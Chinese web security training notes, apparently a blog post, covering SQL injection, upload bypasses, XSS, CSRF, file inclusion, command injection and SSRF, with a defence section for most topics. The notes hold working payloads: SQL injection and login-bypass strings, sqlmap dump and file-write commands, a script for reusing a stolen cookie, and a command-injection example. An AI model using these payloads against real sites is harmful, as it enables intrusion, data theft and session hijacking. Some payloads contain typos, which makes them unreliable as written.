培训-Web安全笔记

培训-Web安全笔…

内容纲要
一、网站结构
网站--->CDN--->用户
|
|
数据库
结构漏洞:
DDOS/CC/刷库:强制经过CDN(具有缓存静态资源的作用)进入数据库,消耗资源多。
网站根目录漏洞:
网站根目录下可能有源码压缩包(管理员习惯)
PHP info()会显示配置信息
assess数据库是文件型数据库,不经处理可能被直接下载到。
二、HTTP协议:
参数:
请求字段:
GET和POST
请求
POST可传送数据比GET大,GET最多2kb,POST可以
POST body
传参形式:
1.KV键值对
key = value&key2 = value2&...
2.json格式:
key1:value;key2:value
HOST
/
URI
URL 的host去掉叫URI
Referer
User-Agent:(手机浏览和PC浏览识别便是依赖于此)
显示个人信息 :系统/浏览器
可以通过修改UA来对服务器进行欺骗
Chorme中F12的手机图标即可修改UA
Accept:期待类型
Accept-Language:语言,首选,次选
Accept-Encoding:编码
Referer:跳转而来
显示了跳转而来的网站如搜索引擎或者主站
Cookie(Session):识别身份
网站给予,具有唯一性。
响应:
HTTP响应状态码:
200 资源存在
30X 301/302 跳转
403 这是一个网站目录,但无权限阅读
404 页面不存在/资源不存在
400 Bad request 请求有问题
50X 500 服务器问题
Sever字段:反映Web容器类型。(服务器类型)
响应体:即网页源代码
三、Webshell
网站脚本木马
劣势:权限不会很高
基本都是使用一句话木马。
连菜刀
四、SQL注入
文件型数据库:ACCESS
较简单
关系型数据库(使用SQL语言):MYSQL、MSSQL、Oracle
注入重点
NOSQL数据库:Redis/MongoDB/Elsaticsearch
基本无法注入
Mysql数据库中有一个系统表叫information_SCHEMA
其中有一个叫TABLE表
可在TABLE表里查想要查的表名
SQL注入漏洞由数据与代码边界不清晰造成
不仅SQL注入,XSS、缓冲区溢出漏洞成因都是。
and 1=1 True
and 1= '' False
SELECT first_name,last_name FORM users WHERE user_id = '1' and ''='x'
正常:1
攻击:1' and ''='
1'#
1' and ''='x
1' and ascii(substr(database(),2,1))>60 and ''='
猜解字段名
数字型截断---直接
字符型截断:1' and ''='
注入点分:
POST注入、GET注入
Cookie注入
搜索型注入
正常:attachment
攻击:attachment%'and'%' = '%'
a%' and 1=1 -- 正常
a%' and 1=2 -- 错误
盲注:
延时注入:
通过时间的sleep(x)
1' and and and ''='
报错注入:
1' and (extractvalue(1,concat(0x7e,(select+user()),0x7e)))+and+''='
1' and (extractvalue(1,concat(0x7e,(SELECT DISTINCT TABLE_SCHEMA FROM information_schema.`TABLES` LIMIT 0,1),0x7e))) and ''='
1' and (extractvalue(1,concat(0x7e,(SELECT `TABLE_NAME` FROM information_schema.`TABLES` WHERE TABLE_SCHEMA="test" LIMIT 0,1),0x7e))) and ''='
联合注入:
Union
1’union select user(),database()#
1' union select 1,TABLE_SCHEMA FROM information_schema.`TABLES` limit 0,1#
1' union select user(),database()#
http://www.phpsqli.com/show.php?id=-31%20union%20all%20select%201,2,concat(username,%27|%27,password),4,5,6,7,8,9,10,11,12,13,14,15%20from%20cms_users--qqqq
SQLmap:
  • SQLMAP读取数据:
  • -u 漏洞url -data "vul" POST内容
  • --dbs 罗列所有数据库
  • -D指定数据库 --tables 列表
  • -D指定数据库 -T 指定表 --columns 列所有字段
  • -D指定数据库 -T 指定表 -C 指定字段 --dump 获取数据
--cookie=COOKIE 在需要登录的地方,需要登录后的cookie
--proxy="http://127.0.0.1:8087" 使用HTTP代理隐藏自己的身份,比如使用goagent等
--sql-query=QUERY 执行一个sql语句,不一定支持
-r surp 数据包
-r REQUESTFILE 从一个文件中载入HTTP请求。
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
--file -read #从后端的数据库管理系统文件系统读取文件
--file -write #编辑后端的数据库管理系统文件系统上的本地文件
--file -dest #后端的数据库管理系统写入文件的绝对路径
--file -read #读取指定文件 (地址)
--file -write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
sqlmapapi 做扫描器可以用
说白了,sqlmapapi.py就是提供了一个检查sql注入的接口,我们可以直接通过发送http请求扫描sql注入,获取扫描结果等一系列操作。
--tamper 注入绕过脚本
防御:
字符型注入、搜索型:
过滤/转义单双引号
数字型:
检查是不是数字。
其他:
order by注入:白名单字段
参数绑定的方式
万能密码:(后台验证绕过语句)
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
常用: 'or'='or'
' or ''='
原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未加过滤或过滤不严而导致的
五、上传漏洞:
上传过滤:
扩展名黑名单:
PHP ASP ASA JSP
可通过php<空格>绕过
上传文件格式验证:
GIF89a等图片头欺骗
00截断漏洞:
a.jpg[0x00].php
扩展名解析漏洞:
nginx0.8以下
shell.jpg/a.php
Apache+linux双扩展名解析漏洞:
shell.php.aaa
IIS6.0分号引发的扩展名解析漏洞:
shell.php;x.jpg
IIS6.0文件夹引发的扩展名解析漏洞:
/a.asp/shell.jpg
上传漏洞防御:
扩展名白名单
重命名文件
禁止上传目录的执行权限
静态资源和动态文件分离(使用静态资源服务器、sso服务)
使用无解析漏洞的Web容器(使用最新版Web容器)
验证文件头(此攻击当然是修改文件头)
六、XSS
重要的标签:
<script></script>
<script src = "//360.cn/test/a.js"></script>
<script>alter(1)</script> #内联调用
#javascript 是事件型触发的编程语言
<img src="" onload="alter('hello,onload')" onerror="alter('hello,onerror')" onmouseover="alter(hello,onmouseover) onclick="alter(hello,onclick)">
on 开头是事件属性
#JavaScript是单线程语言。同时只执行一个事件。
<form action="post.php" method="POST"></form> 表单信息会提交到post.php上
<input type="text" value="xxxx"></input> #type为text便为文本类型为password就是密码属性
<input type="submit" value="提交"></input>
<iframe src="http://baidu.com"></iframe>
<iframe src="javascript:alter(1)"></iframe>
#地址栏里输入javascript:后面即可跟jsp代码,可执行。
DOM树
XSS使用:
1.远程调用,直接用src调用。
2.本地调用。
3.可以省略掉http/https。
4.内联调用,就是在script标签中直接嵌入,最常见的xss。
XSS分类:
反射型XSS:不存储数据库、及时生效
存储型XSS:存储在数据库中,不删库就永久存在,输入和触发可能存在时间差。
DOM型XSS:动态存在的,存在于DOM标签之中的
Cookie利用脚本:
co = "username=admin; userid=1; PHPSESSID=g3dkp1pbg3v4r6j803fnrkc4p3";
ar = co.split("; ");
for (var i=0;i<ar.length;i++) {
document.cookie=ar[i];
}
把盗取的cookie放到第一行的sessid中,在控制台输出即可。
维持cookie效用:定时刷新...
file://域>http(s)域的权限
chrome-extension:// > http(s)域的权限
XSS绕过关键字检测:
1.变换Payload
2.jsfuck等加密方式。
3.标签属性里的XSS可以使用实体编码。
4.使用eval(加密字符串)
5.可以使用String.fromCharCode(97,98,99)对ASCII转换成字符串
6.其他技巧:例如括号可以用·代替等等。
XSS防御:
1.过滤、转义左右尖括号:<> 。反斜扛转义?X HTMLencode转义
2.便签内的情况:过滤单双引号,或者用正则进行匹配,保证输出的是白名单的安全字符。
(3.WAF?安全狗? 治标不治本)
3.CSP策略:最好防御XSS的方案,但是运维成本略高。
4.代前端码级防御:灵活、配置相对CSP容易。兼容性略差。
onload="alert(1)",当加载完成后触发。
onerror="alert(1)",当前面的执行错误时比如网址是404时会出发2此属性。
onmouseover="alert(1)",当鼠标滑过时会触发。
onclici="alert(1)",当鼠标点击触发。
七、CSRF
通过伪造请求,比如说:post一个密码,在管理员登陆的情况下发起这个请求就可以直接更改掉密码,简单例子:
网站用户在修改密码的时候不需要提交老密码,bp转包看一下post的数据和请求网址,可以自己写伪造网页,也可以使用http://xssor.io/#codz网站快速生成,这里如果想要达到更好的攻击效果,可以伪造一个更加吸引管理员的链接,在管理员登陆后台的情况下访问了这个请求那么就可以攻击成功。
GET/POST都可以
条件要求:要求受害者有合法的session。(例如管理员在已经登陆的情况下进行CSRF)
CSRF防御:
验证Referer是不是本域下。
(绕过:
mycorp.com
hacker.com
验证referer里是不是包含mycorp.com : mycorp.com.hacker.com
正确方法:演示是否是http://mycorp.com/ 开头的
随机token:随机字符串。检查token是否失效。
XSS'or 可以自动化生成CSRF利用脚本
八、文件包含漏洞
服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的
文件包含绕过:
利用%00进行截断
利用文件路径的长度限制
文件包含,防御:
.. 并且 / 并且 \
九、命令执行漏洞
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
OS命令注入
特殊符号 && | <回车>(\r\n %0D%0A)
window和linux系统都可以用&&来执行多条命令
127.0.0.1&&net user
Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
十、SSRF
把服务器作为一个(HTTP)代理服务器,来探测内网
服务器端请求伪造
可以让服务器变成我们的代理服务器
由服务器发出http请求,而不是自己客户端
说白了就是本来应该是我们的ip地址去请求这个文件,但是因为SSrf的存在而变
成了服务器在发送请求。
比如从指定URL地址获取网页文本内容,加载指定地址的图片等,都是SSRF容易出现的点。图片地址这种较为常见,其它的发生点,需要具体情况具体判断。
百度识图之类
危害:
1.攻击内网
2.下载内网资源
3.wooyun峰会猪猪侠的ppt
4.进行跳板
5.无视cdn
限制127.0.0 192.168. 10.
绕:hacker.com --> 192.168.
限制:解析以后IP,是不是内网IP
绕:302跳转 跳到 内网IP
限制:不跟随302跳转
防御:
限制内网网段 限制127.0.0. 192.168. 10. 开头访问
绕过方式:申请一个域名 hacker.com -> 192.168
限制:解析以后ip,是不是内网ip
绕过:302跳转 跳到 内网IP
限制:不跟随302跳转
攻击者利用SSRF可以实现的攻击主要有3种:
1、获取web应用可达服务器服务的banner信息以及收集内网web应用的指纹识别,如开放的端口,中间件版本信息等。
2、攻击运行在内网的系统或应用程序,获取内网各系统弱口令进行内网漫游、对有漏洞的内网web应用实施攻击获取webshell,如st2命令执行、discuz ssrf通过redis实施getshell等。
3、利用有脆弱性的组件结合ftp://,file:///,gopher://,dict://等协议实施攻击。如FFmpeg任意文件读取,xxe攻击等。
防御手段:
1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法;
2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;
3、限制请求的端口为http常用的端口,比如,80,443,8080,8090;
4、黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网;
5、禁用不需要的协议。仅允许http和https请求;
6、使用正则对参数进行效验,防止畸形请求绕过黑名单。
harmoc

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注